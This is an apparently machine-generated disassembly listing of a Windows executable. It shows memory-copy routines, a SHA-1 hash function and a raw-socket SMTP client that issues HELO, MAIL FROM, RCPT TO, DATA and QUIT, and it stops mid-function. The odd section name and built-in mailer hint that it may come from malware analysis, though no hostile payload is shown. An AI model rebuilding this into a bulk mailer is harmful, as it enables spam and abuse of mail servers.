mov ecx, edi
mov eax, edi
call sub_40C825
mov [esi+8], eax
mov eax, edi
sub eax, ebx
dec eax
test eax, eax
jle short loc_40C76C
push eax
push ebx
push eax
sub edi, eax
push edi
call sub_40D807
add esp, 10h
loc_40C76C: ; CODE XREF: sub_40C620+13Cj
lea eax, [ebx+1]
loc_40C76F: ; CODE XREF: sub_40C620+123j
cmp ebx, eax
jz short loc_40C782
sub eax, ebx
push eax
push [ebp+var_8]
push ebx
call sub_40DD10
add esp, 0Ch
loc_40C782: ; CODE XREF: sub_40C620+E7j
; sub_40C620+151j
pop edi
pop esi
pop ebx
leave
retn 8
sub_40C620 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C789 proc near ; CODE XREF: sub_40C620+96p
; sub_40C844+C4p
var_10 = dword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
test ecx, ecx
ja short loc_40C79E
xor ecx, ecx
loc_40C795: ; CODE XREF: sub_40C789+1Fj
push ecx
call sub_40DE68
pop ecx
leave
retn
; ---------------------------------------------------------------------------
loc_40C79E: ; CODE XREF: sub_40C789+8j
or eax, 0FFFFFFFFh
xor edx, edx
div ecx
cmp eax, 1
jnb short loc_40C795
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
lea ecx, [ebp+var_10]
call sub_40D873
push offset dword_41FEA0
lea eax, [ebp+var_10]
push eax
mov [ebp+var_10], offset off_41C290
call sub_4107BC
int 3 ; Trap to Debugger
sub_40C789 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40C7D0 proc near ; CODE XREF: sub_40C1D3+22p
; sub_40C2BE+69p
arg_0 = dword ptr 4
cmp dword ptr [edi], 0
jnz short loc_40C7DA
call sub_40DCFC
loc_40C7DA: ; CODE XREF: sub_40C7D0+3j
mov eax, [edi+4]
mov ecx, [edi]
push esi
mov esi, [esp+4+arg_0]
imul esi, 5Ch
add eax, esi
cmp eax, [ecx+8]
ja short loc_40C7F3
cmp eax, [ecx+4]
jnb short loc_40C7F8
loc_40C7F3: ; CODE XREF: sub_40C7D0+1Cj
call sub_40DCFC
loc_40C7F8: ; CODE XREF: sub_40C7D0+21j
add [edi+4], esi
mov eax, edi
pop esi
retn 4
sub_40C7D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C801 proc near ; CODE XREF: sub_40C3E5+B0p
; sub_40C3E5+CEp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push edi
xor eax, eax
lea edi, [ebp+var_4]
stosb
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40CB4B
add esp, 10h
pop edi
leave
retn 8
sub_40C801 endp
; =============== S U B R O U T I N E =======================================
sub_40C825 proc near ; CODE XREF: sub_40C620+A5p
; sub_40C620+B5p ...
arg_0 = dword ptr 4
sub eax, [esp+arg_0]
push esi
lea esi, [eax+ecx]
jz short loc_40C83E
push eax
push [esp+8+arg_0]
push eax
push ecx
call sub_40D807
add esp, 10h
loc_40C83E: ; CODE XREF: sub_40C825+8j
mov eax, esi
pop esi
retn 4
sub_40C825 endp
; =============== S U B R O U T I N E =======================================
sub_40C844 proc near ; CODE XREF: sub_40B7A2+E4p
; sub_40B7A2+1C4p
mov eax, offset loc_41B117
call sub_41AE44
sub esp, 14h
mov eax, [ebp+1Ch]
cmp eax, 0FFFFFFFEh
push ebx
push esi
push edi
mov [ebp-10h], esp
mov ebx, ecx
jz short loc_40C86F
test eax, eax
jz short loc_40C86A
cmp eax, [ebp+14h]
jz short loc_40C86F
loc_40C86A: ; CODE XREF: sub_40C844+1Fj
call sub_40DCFC
loc_40C86F: ; CODE XREF: sub_40C844+1Bj
; sub_40C844+24j
mov edi, [ebp+20h]
sub edi, [ebp+18h]
mov ecx, [ebx+4]
test ecx, ecx
mov [ebp-1Ch], edi
jnz short loc_40C884
and [ebp-14h], ecx
jmp short loc_40C88C
; ---------------------------------------------------------------------------
loc_40C884: ; CODE XREF: sub_40C844+39j
mov eax, [ebx+0Ch]
sub eax, ecx
mov [ebp-14h], eax
loc_40C88C: ; CODE XREF: sub_40C844+3Ej
test edi, edi
jz loc_40CA5F
test ecx, ecx
jnz short loc_40C89C
xor eax, eax
jmp short loc_40C8A1
; ---------------------------------------------------------------------------
loc_40C89C: ; CODE XREF: sub_40C844+52j
mov eax, [ebx+8]
sub eax, ecx
loc_40C8A1: ; CODE XREF: sub_40C844+56j
or edx, 0FFFFFFFFh
sub edx, eax
cmp edx, edi
jnb short loc_40C8AF
call sub_40684D
loc_40C8AF: ; CODE XREF: sub_40C844+64j
test ecx, ecx
jnz short loc_40C8B7
xor eax, eax
jmp short loc_40C8BC
; ---------------------------------------------------------------------------
loc_40C8B7: ; CODE XREF: sub_40C844+6Dj
mov eax, [ebx+8]
sub eax, ecx
loc_40C8BC: ; CODE XREF: sub_40C844+71j
add eax, edi
cmp [ebp-14h], eax
jnb loc_40C987
mov eax, [ebp-14h]
shr eax, 1
or edx, 0FFFFFFFFh
sub edx, eax
cmp edx, [ebp-14h]
jnb short loc_40C8DC
and dword ptr [ebp-14h], 0
jmp short loc_40C8DF
; ---------------------------------------------------------------------------
loc_40C8DC: ; CODE XREF: sub_40C844+90j
add [ebp-14h], eax
loc_40C8DF: ; CODE XREF: sub_40C844+96j
test ecx, ecx
jnz short loc_40C8E7
xor eax, eax
jmp short loc_40C8EC
; ---------------------------------------------------------------------------
loc_40C8E7: ; CODE XREF: sub_40C844+9Dj
mov eax, [ebx+8]
sub eax, ecx
loc_40C8EC: ; CODE XREF: sub_40C844+A1j
add eax, edi
cmp [ebp-14h], eax
jnb short loc_40C905
test ecx, ecx
jnz short loc_40C8FB
xor eax, eax
jmp short loc_40C900
; ---------------------------------------------------------------------------
loc_40C8FB: ; CODE XREF: sub_40C844+B1j
mov eax, [ebx+8]
sub eax, ecx
loc_40C900: ; CODE XREF: sub_40C844+B5j
add eax, edi
mov [ebp-14h], eax
loc_40C905: ; CODE XREF: sub_40C844+ADj
mov ecx, [ebp-14h]
call sub_40C789
and dword ptr [ebp-4], 0
push dword ptr [ebx+4]
mov esi, eax
mov eax, [ebp+10h]
mov ecx, esi
mov [ebp-1Ch], esi
call sub_40C825
push dword ptr [ebp+20h]
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push eax
call sub_40CB11
push dword ptr [ebp+10h]
mov ecx, eax
mov eax, [ebx+8]
call sub_40C825
mov ecx, [ebx+4]
test ecx, ecx
jnz short loc_40C94D
xor eax, eax
jmp short loc_40C952
; ---------------------------------------------------------------------------
loc_40C94D: ; CODE XREF: sub_40C844+103j
mov eax, [ebx+8]
sub eax, ecx
loc_40C952: ; CODE XREF: sub_40C844+107j
add edi, eax
test ecx, ecx
jz short loc_40C95F
push ecx
call sub_40DD8A
pop ecx
loc_40C95F: ; CODE XREF: sub_40C844+112j
mov eax, [ebp-14h]
add eax, esi
mov [ebx+0Ch], eax
lea eax, [esi+edi]
mov [ebx+8], eax
mov [ebx+4], esi
jmp loc_40CA5F
; ---------------------------------------------------------------------------
loc_40C975: ; DATA XREF: .vty:00420798o
push dword ptr [ebp-1Ch]
call sub_40DD8A
pop ecx
loc_40C97E: ; DATA XREF: .vty:004207A8o
push 0
push 0
call sub_4107BC
loc_40C987: ; CODE XREF: sub_40C844+7Dj
mov esi, [ebx+8]
cmp ecx, esi
jbe short loc_40C993
call sub_40DCFC
loc_40C993: ; CODE XREF: sub_40C844+148j
cmp ebx, [ebp+0Ch]
jz short loc_40C99D
call sub_40DCFC
loc_40C99D: ; CODE XREF: sub_40C844+152j
mov eax, [ebp+10h]
sub esi, eax
cmp esi, edi
jnb short loc_40CA18
lea ecx, [eax+edi]
push eax
mov eax, [ebx+8]
call sub_40C825
mov eax, [ebp+14h]
mov esi, [ebx+8]
cmp [ebx+4], esi
mov [ebp-18h], eax
mov eax, [ebp+18h]
mov [ebp-14h], eax
jbe short loc_40C9CB
call sub_40DCFC
loc_40C9CB: ; CODE XREF: sub_40C844+180j
cmp ebx, [ebp+0Ch]
jz short loc_40C9D5
call sub_40DCFC
loc_40C9D5: ; CODE XREF: sub_40C844+18Aj
sub esi, [ebp+10h]
mov edi, esi
lea esi, [ebp-18h]
call sub_40702B
mov dword ptr [ebp-4], 2
push dword ptr [ebp+20h]
push dword ptr [ebp+1Ch]
push dword ptr [ebp-14h]
push dword ptr [ebp-18h]
push dword ptr [ebx+8]
call sub_40CB11
mov eax, [ebp-1Ch]
add [ebx+8], eax
mov ecx, [ebp+10h]
mov eax, [ebp+18h]
jmp short loc_40CA11
; ---------------------------------------------------------------------------
loc_40CA0B: ; CODE XREF: sub_40C844+1D0j
mov dl, [eax]
mov [ecx], dl
inc ecx
inc eax
loc_40CA11: ; CODE XREF: sub_40C844+1C5j
cmp eax, [ebp-14h]
jnz short loc_40CA0B
jmp short loc_40CA5F
; ---------------------------------------------------------------------------
loc_40CA18: ; CODE XREF: sub_40C844+160j
mov esi, [ebx+8]
mov eax, esi
sub eax, edi
push eax
mov ecx, esi
mov eax, esi
call sub_40C825
mov [ebx+8], eax
mov eax, esi
sub eax, [ebp+10h]
sub eax, edi
test eax, eax
jle short loc_40CA47
push eax
push dword ptr [ebp+10h]
sub esi, eax
push eax
push esi
call sub_40D807
add esp, 10h
loc_40CA47: ; CODE XREF: sub_40C844+1F1j
mov eax, [ebp+18h]
cmp eax, [ebp+20h]
jz short loc_40CA5F
mov ecx, [ebp+10h]
sub ecx, eax
loc_40CA54: ; CODE XREF: sub_40C844+219j
mov dl, [eax]
mov [ecx+eax], dl
inc eax
cmp eax, [ebp+20h]
jnz short loc_40CA54
loc_40CA5F: ; CODE XREF: sub_40C844+4Aj
; sub_40C844+12Cj ...
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 1Ch
sub_40C844 endp
; =============== S U B R O U T I N E =======================================
sub_40CA70 proc near ; CODE XREF: sub_40C33D+1Ap
mov eax, offset loc_41AF6E
call sub_41AE44
push ecx
push ecx
mov eax, [ebp+8]
and dword ptr [ebp-4], 0
push ebx
push esi
push edi
mov [ebp-10h], esp
mov [ebp-14h], eax
loc_40CA8C: ; CODE XREF: sub_40CA70+34j
cmp dword ptr [ebp+0Ch], 0
jbe short loc_40CAC1
push dword ptr [ebp+8]
mov edi, [ebp+10h]
call sub_407701
dec dword ptr [ebp+0Ch]
add dword ptr [ebp+8], 5Ch
jmp short loc_40CA8C
; ---------------------------------------------------------------------------
mov esi, [ebp-14h]
jmp short loc_40CAB3
; ---------------------------------------------------------------------------
loc_40CAAB: ; CODE XREF: sub_40CA70+46j
call sub_407598
add esi, 5Ch
loc_40CAB3: ; CODE XREF: sub_40CA70+39j
cmp esi, [ebp+8]
jnz short loc_40CAAB
push 0
push 0
call sub_4107BC
loc_40CAC1: ; CODE XREF: sub_40CA70+20j
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn
sub_40CA70 endp
; =============== S U B R O U T I N E =======================================
sub_40CAD0 proc near ; CODE XREF: sub_40C3E5+1ABp
; sub_40C3E5+1FDp ...
push 0FFFFFFFFh
push 0
push edi
mov ecx, esi
call sub_401315
push 0FFFFFFFFh
push 0
lea eax, [edi+1Ch]
push eax
lea ecx, [esi+1Ch]
call sub_401315
push 0FFFFFFFFh
push 0
lea eax, [edi+38h]
push eax
lea ecx, [esi+38h]
call sub_401315
mov eax, [edi+54h]
mov [esi+54h], eax
mov al, [edi+58h]
mov [esi+58h], al
mov al, [edi+59h]
mov [esi+59h], al
mov eax, esi
retn
sub_40CAD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CB11 proc near ; CODE XREF: sub_40C844+ECp
; sub_40C844+1B4p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_8]
push edi
xor eax, eax
lea edi, [ebp+var_4]
stosb
push [ebp+var_4]
mov eax, [ebp+arg_0]
push [ebp+arg_0]
push [ebp+arg_10]
call sub_40CB38
add esp, 0Ch
pop edi
leave
retn 14h
sub_40CB11 endp
; =============== S U B R O U T I N E =======================================
sub_40CB38 proc near ; CODE XREF: sub_40CB11+1Ap
arg_0 = dword ptr 4
jmp short loc_40CB44
; ---------------------------------------------------------------------------
loc_40CB3A: ; CODE XREF: sub_40CB38+10j
test eax, eax
jz short loc_40CB42
mov dl, [ecx]
mov [eax], dl
loc_40CB42: ; CODE XREF: sub_40CB38+4j
inc eax
inc ecx
loc_40CB44: ; CODE XREF: sub_40CB38j
cmp ecx, [esp+arg_0]
jnz short loc_40CB3A
retn
sub_40CB38 endp
; =============== S U B R O U T I N E =======================================
sub_40CB4B proc near ; CODE XREF: sub_4072C2+73p
; sub_40C801+17p
mov eax, offset loc_41AF64
call sub_41AE44
push ecx
push ecx
mov eax, [ebp+0Ch]
and dword ptr [ebp-4], 0
push ebx
push esi
push edi
mov [ebp-10h], esp
mov edi, ecx
mov [ebp-14h], eax
loc_40CB69: ; CODE XREF: sub_40CB4B+32j
cmp edi, [ebp+8]
jz short loc_40CB9A
push dword ptr [ebp+0Ch]
call sub_407701
add dword ptr [ebp+0Ch], 5Ch
add edi, 5Ch
jmp short loc_40CB69
; ---------------------------------------------------------------------------
loc_40CB7F: ; DATA XREF: .vty:00420274o
mov esi, [ebp-14h]
jmp short loc_40CB8C
; ---------------------------------------------------------------------------
loc_40CB84: ; CODE XREF: sub_40CB4B+44j
call sub_407598
add esi, 5Ch
loc_40CB8C: ; CODE XREF: sub_40CB4B+37j
cmp esi, [ebp+0Ch]
jnz short loc_40CB84
push 0
push 0
call sub_4107BC
loc_40CB9A: ; CODE XREF: sub_40CB4B+21j
mov ecx, [ebp-0Ch]
mov eax, [ebp+0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn
sub_40CB4B endp
; =============== S U B R O U T I N E =======================================
sub_40CBAC proc near ; CODE XREF: sub_401156+69p
; DATA XREF: .vty:off_41E018o
mov edx, ecx
push edi
push 50h
xor eax, eax
pop ecx
lea edi, [edx+20h]
rep stosd
and [edx+4], eax
and [edx+8], eax
mov dword ptr [edx+0Ch], 67452301h
mov dword ptr [edx+10h], 0EFCDAB89h
mov dword ptr [edx+14h], 98BADCFEh
mov dword ptr [edx+18h], 10325476h
mov dword ptr [edx+1Ch], 0C3D2E1F0h
pop edi
retn
sub_40CBAC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CBE4 proc near ; DATA XREF: .vty:0041E01Co
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov eax, ecx
lea esi, [eax+0Ch]
push 5
mov [ebp+var_4], esi
pop ecx
lea edi, [ebp+var_18]
rep movsd
mov edi, [ebp+var_14]
xor ebx, ebx
lea esi, [eax-18h]
loc_40CC05: ; CODE XREF: sub_40CBE4+9Aj
test bl, 0F0h
jz short loc_40CC1A
mov eax, [esi+2Ch]
xor eax, [esi+18h]
xor eax, [esi-8]
xor eax, [esi]
rol eax, 1
mov [esi+38h], eax
loc_40CC1A: ; CODE XREF: sub_40CBE4+24j
mov eax, ebx
push 14h
cdq
pop ecx
idiv ecx
mov ecx, [ebp+var_18]
rol ecx, 5
add ecx, dword_41F000[eax*4]
add ecx, [esi+38h]
add ecx, [ebp+var_8]
cmp ebx, 14h
jge short loc_40CC40
mov eax, edi
not eax
jmp short loc_40CC53
; ---------------------------------------------------------------------------
loc_40CC40: ; CODE XREF: sub_40CBE4+54j
test al, 1
jz short loc_40CC4E
mov eax, [ebp+var_C]
xor eax, [ebp+var_10]
xor eax, edi
jmp short loc_40CC5D
; ---------------------------------------------------------------------------
loc_40CC4E: ; CODE XREF: sub_40CBE4+5Ej
mov eax, [ebp+var_10]
or eax, edi
loc_40CC53: ; CODE XREF: sub_40CBE4+5Aj
mov edx, [ebp+var_10]
and eax, [ebp+var_C]
and edx, edi
or eax, edx
loc_40CC5D: ; CODE XREF: sub_40CBE4+68j
add ecx, eax
mov eax, [ebp+var_C]
ror edi, 2
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
inc ebx
mov [ebp+var_10], edi
mov edi, [ebp+var_18]
add esi, 4
cmp ebx, 50h
mov [ebp+var_C], eax
mov [ebp+var_18], ecx
jl short loc_40CC05
mov eax, [ebp+var_4]
mov [ebp+var_14], edi
pop edi
pop esi
xor ecx, ecx
pop ebx
loc_40CC8B: ; CODE XREF: sub_40CBE4+B4j
mov edx, [ebp+ecx*4+var_18]
add [eax], edx
inc ecx
add eax, 4
cmp ecx, 5
jl short loc_40CC8B
leave
retn
sub_40CBE4 endp
; =============== S U B R O U T I N E =======================================
sub_40CC9C proc near ; CODE XREF: sub_40CCB1+8p
; sub_40CCCC+Fp ...
push dword ptr [esi]
call dword_41C1E8 ; closesocket
test eax, eax
jnz short loc_40CCAE
or dword ptr [esi], 0FFFFFFFFh
mov al, 1
retn
; ---------------------------------------------------------------------------
loc_40CCAE: ; CODE XREF: sub_40CC9C+Aj
xor al, al
retn
sub_40CC9C endp
; =============== S U B R O U T I N E =======================================
sub_40CCB1 proc near ; CODE XREF: sub_40399B+72p
; sub_403C76+13Fp ...
push esi
mov esi, eax
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_40CCBE
call sub_40CC9C
loc_40CCBE: ; CODE XREF: sub_40CCB1+6j
push 0
push 1
lea ecx, [esi+4]
call sub_4013C4
pop esi
retn
sub_40CCB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CCCC proc near ; CODE XREF: sub_40399B+48p
; sub_403C76+118p ...
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
mov esi, eax
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_40CCE0
call sub_40CC9C
loc_40CCE0: ; CODE XREF: sub_40CCCC+Dj
push 0
xor ebx, ebx
inc ebx
push ebx
push 2
call dword_41C1E4 ; socket
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
mov [esi], eax
mov [ebp+var_4], ebx
call dword_41C208 ; ioctlsocket
cmp dword ptr [edi+18h], 10h
lea ebx, [edi+4]
jb short loc_40CD10
mov eax, [ebx]
jmp short loc_40CD12
; ---------------------------------------------------------------------------
loc_40CD10: ; CODE XREF: sub_40CCCC+3Ej
mov eax, ebx
loc_40CD12: ; CODE XREF: sub_40CCCC+42j
push eax
call dword_41C200 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_40CD7A
cmp dword ptr [edi+18h], 10h
jb short loc_40CD2B
mov eax, [ebx]
jmp short loc_40CD2D
; ---------------------------------------------------------------------------
loc_40CD2B: ; CODE XREF: sub_40CCCC+59j
mov eax, ebx
loc_40CD2D: ; CODE XREF: sub_40CCCC+5Dj
push eax
call dword_41C218 ; gethostbyname
test eax, eax
jnz short loc_40CD64
cmp dword ptr [edi+18h], 10h
jb short loc_40CD40
mov ebx, [ebx]
loc_40CD40: ; CODE XREF: sub_40CCCC+70j
push ebx
push offset aSmtpclientConn ; "SmtpClient::connect: unknown host: %s\n"
call sub_4024A7
push eax
push 3
pop ecx
call sub_40195C
add esp, 0Ch
loc_40CD57: ; CODE XREF: sub_40CCCC+119j
call sub_40CC9C
or eax, 0FFFFFFFFh
jmp loc_40CDF0
; ---------------------------------------------------------------------------
loc_40CD64: ; CODE XREF: sub_40CCCC+6Aj
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_10]
push eax
call sub_410050
add esp, 0Ch
loc_40CD7A: ; CODE XREF: sub_40CCCC+53j
push 19h
mov [ebp+var_14], 2
call dword_41C1EC ; ntohs
mov [ebp+var_12], ax
push 10h
lea eax, [ebp+var_14]
push eax
push dword ptr [esi]
call dword_41C204 ; connect
test eax, eax
jz short loc_40CDEA
call dword_41C210 ; WSAGetLastError
cmp eax, 2733h
jnz short loc_40CDBC
push 14h
pop eax
call sub_40D602
test eax, eax
setnle al
test al, al
jnz short loc_40CDEA
loc_40CDBC: ; CODE XREF: sub_40CCCC+DDj
cmp dword ptr [edi+18h], 10h
jb short loc_40CDC4
mov ebx, [ebx]
loc_40CDC4: ; CODE XREF: sub_40CCCC+F4j
push [ebp+var_10]
call dword_41C1FC ; inet_ntoa
push eax
push ebx
push offset aSmtpclientCo_0 ; "SmtpClient::connect: cannot connect to "...
call sub_4024A7
push eax
push 3
pop ecx
call sub_40195C
add esp, 10h
jmp loc_40CD57
; ---------------------------------------------------------------------------
loc_40CDEA: ; CODE XREF: sub_40CCCC+D0j
; sub_40CCCC+EEj
push esi
call sub_40D355
loc_40CDF0: ; CODE XREF: sub_40CCCC+93j
pop esi
pop ebx
leave
retn
sub_40CCCC endp
; =============== S U B R O U T I N E =======================================
sub_40CDF4 proc near ; CODE XREF: sub_407949+54p
; sub_407E77+73p
mov eax, offset loc_41B10D
call sub_41AE44
sub esp, 1Ch
push esi
mov esi, ecx
push 0
lea ecx, [ebp-28h]
mov dword ptr [ebp-10h], 0Fh
call sub_401564
and dword ptr [ebp-4], 0
push 0FFFFFFFFh
push 0
push dword ptr [ebp+8]
lea ecx, [ebp-28h]
call sub_401315
push offset asc_41EBE8 ; "\r\n"
lea eax, [ebp-28h]
push eax
call sub_401C66
cmp dword ptr [ebp-10h], 10h
mov eax, [ebp-24h]
jnb short loc_40CE42
lea eax, [ebp-24h]
loc_40CE42: ; CODE XREF: sub_40CDF4+49j
push 14h
push eax
mov eax, [ebp-14h]
mov ecx, esi
call sub_40D66E
test eax, eax
jz short loc_40CE8D
push offset aSmtpclientComm ; "SmtpClient::command: connection broken\n"...
call sub_4024A7
push eax
push 3
pop ecx
call sub_40195C
pop ecx
pop ecx
call sub_40CC9C
push 0FFFFFFFEh
pop esi
loc_40CE70: ; CODE XREF: sub_40CDF4+A1j
push 0
push 1
lea ecx, [ebp-28h]
call sub_4013C4
mov ecx, [ebp-0Ch]
mov eax, esi
mov large fs:0, ecx
pop esi
leave
retn 4
; ---------------------------------------------------------------------------
loc_40CE8D: ; CODE XREF: sub_40CDF4+5Dj
push esi
call sub_40D355
mov esi, eax
jmp short loc_40CE70
sub_40CDF4 endp
; =============== S U B R O U T I N E =======================================
sub_40CE97 proc near ; CODE XREF: sub_403C76+15Ep
mov eax, offset loc_41B10D
call sub_41AE44
sub esp, 20h
push esi
push 0
lea ecx, [ebp-28h]
mov dword ptr [ebp-10h], 0Fh
call sub_401564
and dword ptr [ebp-4], 0
push offset aHelo ; "HELO "
lea ecx, [ebp-28h]
call sub_4013A7
mov eax, [ebp+0Ch]
push 0FFFFFFFFh
push 0
lea esi, [ebp-28h]
call sub_401F95
push offset asc_41EBE8 ; "\r\n"
mov eax, esi
push eax
call sub_401C66
cmp dword ptr [ebp-10h], 10h
mov eax, [ebp-24h]
jnb short loc_40CEEF
lea eax, [ebp-24h]
loc_40CEEF: ; CODE XREF: sub_40CE97+53j
mov ecx, [ebp+8]
push 14h
push eax
mov eax, [ebp-14h]
call sub_40D66E
test eax, eax
jz short loc_40CF3E
push offset aSmtpclientHelo ; "SmtpClient::helo: connection broken\n"
call sub_4024A7
push eax
push 3
pop ecx
call sub_40195C
mov esi, [ebp+8]
pop ecx
pop ecx
call sub_40CC9C
push 0FFFFFFFEh
pop esi
loc_40CF21: ; CODE XREF: sub_40CE97+B1j
push 0
push 1
lea ecx, [ebp-28h]
call sub_4013C4
mov ecx, [ebp-0Ch]
mov eax, esi
mov large fs:0, ecx
pop esi
leave
retn 8
; ---------------------------------------------------------------------------
loc_40CF3E: ; CODE XREF: sub_40CE97+68j
push dword ptr [ebp+8]
call sub_40D355
mov esi, eax
jmp short loc_40CF21
sub_40CE97 endp
; =============== S U B R O U T I N E =======================================
sub_40CF4A proc near ; CODE XREF: sub_403C76+174p
; sub_407949+6Bp ...
mov eax, offset loc_41B10D
call sub_41AE44
sub esp, 20h
push esi
push 0
lea ecx, [ebp-28h]
mov dword ptr [ebp-10h], 0Fh
call sub_401564
and dword ptr [ebp-4], 0
push offset aMailFrom ; "MAIL FROM: <"
lea ecx, [ebp-28h]
call sub_4013A7
mov eax, [ebp+0Ch]
push 0FFFFFFFFh
push 0
lea esi, [ebp-28h]
call sub_401F95
push offset asc_41F0D0 ; ">\r\n"
mov eax, esi
push eax
call sub_401C66
cmp dword ptr [ebp-10h], 10h
mov eax, [ebp-24h]
jnb short loc_40CFA2
lea eax, [ebp-24h]
loc_40CFA2: ; CODE XREF: sub_40CF4A+53j
mov ecx, [ebp+8]
push 14h
push eax
mov eax, [ebp-14h]
call sub_40D66E
test eax, eax
jz short loc_40CFF1
push offset aSmtpclientMail ; "SmtpClient::mailFrom: connection broken"...
call sub_4024A7
push eax
push 3
pop ecx
call sub_40195C
mov esi, [ebp+8]
pop ecx
pop ecx
call sub_40CC9C
push 0FFFFFFFEh
pop esi
loc_40CFD4: ; CODE XREF: sub_40CF4A+B1j
push 0
push 1
lea ecx, [ebp-28h]
call sub_4013C4
mov ecx, [ebp-0Ch]
mov eax, esi
mov large fs:0, ecx
pop esi
leave
retn 8
; ---------------------------------------------------------------------------
loc_40CFF1: ; CODE XREF: sub_40CF4A+68j
push dword ptr [ebp+8]
call sub_40D355
mov esi, eax
jmp short loc_40CFD4
sub_40CF4A endp
; =============== S U B R O U T I N E =======================================
sub_40CFFD proc near ; CODE XREF: sub_403C76+18Ap
; sub_407949+100p ...
mov eax, offset loc_41B10D
call sub_41AE44
sub esp, 20h
push esi
push 0
lea ecx, [ebp-28h]
mov dword ptr [ebp-10h], 0Fh
call sub_401564
and dword ptr [ebp-4], 0
push offset aRcptTo ; "RCPT TO: <"
lea ecx, [ebp-28h]
call sub_4013A7
mov eax, [ebp+0Ch]
push 0FFFFFFFFh
push 0
lea esi, [ebp-28h]
call sub_401F95
push offset asc_41F0D0 ; ">\r\n"
mov eax, esi
push eax
call sub_401C66
cmp dword ptr [ebp-10h], 10h
mov eax, [ebp-24h]
jnb short loc_40D055
lea eax, [ebp-24h]
loc_40D055: ; CODE XREF: sub_40CFFD+53j
mov ecx, [ebp+8]
push 14h
push eax
mov eax, [ebp-14h]
call sub_40D66E
test eax, eax
jz short loc_40D0A4
push offset aSmtpclientRcpt ; "SmtpClient::rcptTo: connection broken\n"
call sub_4024A7
push eax
push 3
pop ecx
call sub_40195C
mov esi, [ebp+8]
pop ecx
pop ecx
call sub_40CC9C
push 0FFFFFFFEh
pop esi
loc_40D087: ; CODE XREF: sub_40CFFD+B1j
push 0
push 1
lea ecx, [ebp-28h]
call sub_4013C4
mov ecx, [ebp-0Ch]
mov eax, esi
mov large fs:0, ecx
pop esi
leave
retn 8
; ---------------------------------------------------------------------------
loc_40D0A4: ; CODE XREF: sub_40CFFD+68j
push dword ptr [ebp+8]
call sub_40D355
mov esi, eax
jmp short loc_40D087
sub_40CFFD endp
; =============== S U B R O U T I N E =======================================
sub_40D0B0 proc near ; CODE XREF: sub_407949+1ADp
; sub_407E77+1CCp
mov eax, offset loc_41B10D
call sub_41AE44
sub esp, 20h
push esi
push edi
mov esi, ecx
push offset aData ; "DATA\r\n"
lea ecx, [ebp-28h]
call sub_401C44
and dword ptr [ebp-4], 0
cmp dword ptr [ebp-10h], 10h
mov eax, [ebp-24h]
jnb short loc_40D0DE
lea eax, [ebp-24h]
loc_40D0DE: ; CODE XREF: sub_40D0B0+29j
push 14h
push eax
mov eax, [ebp-14h]
mov ecx, esi
call sub_40D66E
test eax, eax
jz short loc_40D12A
loc_40D0EF: ; CODE XREF: sub_40D0B0+C3j
push 0FFFFFFFEh
pop edi
push offset aSmtpclientData ; "SmtpClient::data: connection broken\n"
call sub_4024A7
push eax
push 3
pop ecx
call sub_40195C
pop ecx
pop ecx
call sub_40CC9C
loc_40D10C: ; CODE XREF: sub_40D0B0+89j
; sub_40D0B0+D1j
push 0
push 1
lea ecx, [ebp-28h]
call sub_4013C4
mov ecx, [ebp-0Ch]
mov eax, edi
pop edi
mov large fs:0, ecx
pop esi
leave
retn 4
; ---------------------------------------------------------------------------
loc_40D12A: ; CODE XREF: sub_40D0B0+3Dj
push esi
call sub_40D355
mov edi, eax
call sub_40D211
test al, al
jz short loc_40D10C
push 0FFFFFFFFh
push 0
push dword ptr [ebp+8]
lea ecx, [ebp-28h]
call sub_401315
push offset a__0 ; "\r\n.\r\n"
lea eax, [ebp-28h]
push eax
call sub_401C66
cmp dword ptr [ebp-10h], 10h
mov eax, [ebp-24h]
jnb short loc_40D164
lea eax, [ebp-24h]
loc_40D164: ; CODE XREF: sub_40D0B0+AFj
push 3Ch
push eax
mov eax, [ebp-14h]
mov ecx, esi
call sub_40D66E
test eax, eax
jnz loc_40D0EF
push esi
call sub_40D355
mov edi, eax
jmp short loc_40D10C
sub_40D0B0 endp
; =============== S U B R O U T I N E =======================================
sub_40D183 proc near ; CODE XREF: sub_403C76+1C1p
; sub_407949+1C4p ...
mov eax, offset loc_41B10D
call sub_41AE44
sub esp, 1Ch
push esi
push edi
mov esi, ecx
push offset aQuit ; "QUIT\r\n"
lea ecx, [ebp-28h]
call sub_401C44
and dword ptr [ebp-4], 0
cmp dword ptr [ebp-10h], 10h
mov eax, [ebp-24h]
jnb short loc_40D1B1
